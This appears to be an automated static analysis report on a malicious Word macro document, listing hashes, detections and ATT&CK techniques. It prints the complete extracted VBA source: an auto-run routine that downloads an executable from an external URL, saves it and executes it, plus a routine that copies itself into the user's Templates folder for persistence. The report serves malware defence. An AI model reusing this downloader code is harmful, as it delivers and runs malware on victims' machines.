Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 41b1c3fa6b8a11fd…

MALICIOUS

Office (OOXML)

111.0 KB Created: 2021-05-29 17:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 5825226f3044e74d769016acf9da4d38 SHA-1: c4872683f6f2cb4d2a579165db13e46afc3ba966 SHA-256: 41b1c3fa6b8a11fde6769650977d7bc34e0da91a23dd2b70220beec820e17d7a
318 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autonew' subroutine attempts to download an executable file named 'mmaaccc.exe' from 'http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe' and saves it as 'file1.exe'. It then executes this downloaded file. The 'autoopen' subroutine saves the current document as a macro-enabled template and then saves it again as a macro-enabled document, potentially for persistence or to spread.

Heuristics 8

  • ClamAV: Doc.Malware.Mrafr-10020543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Mrafr-10020543-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell ("file1.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
             objStream.Write objXmlHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXmlHttpReq = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1464 bytes
SHA-256: 3b9e855c6956724e224e9a14b3a062e370237254255be9f6449a65fe547731eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub autoopen()
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"

    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True

    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled

    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub

Sub autonew()
    Dim FileUrl As String
    Dim objXmlHttpReq As Object
    Dim objStream As Object
    
    FileUrl = "http://www.bookiq.bsnl.co.in/data_entry/circulars/mmaaccc.exe"
    
    Set objXmlHttpReq = CreateObject("Microsoft.XMLHTTP")
    objXmlHttpReq.Open "GET", FileUrl, False
    objXmlHttpReq.send

    If objXmlHttpReq.Status = 200 Then
         Set objStream = CreateObject("ADODB.Stream")
         objStream.Open
         objStream.Type = 1
         objStream.Write objXmlHttpReq.responseBody
         objStream.SaveToFile "file1.exe", 2
         objStream.Close
    End If

    Shell ("file1.exe")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: b6a6284b20827746b77bb840df843e12d16735188d7ed53af7b48e54a054c03c
Detection
ClamAV: Doc.Malware.Mrafr-10020543-0
Obfuscation or payload: unlikely

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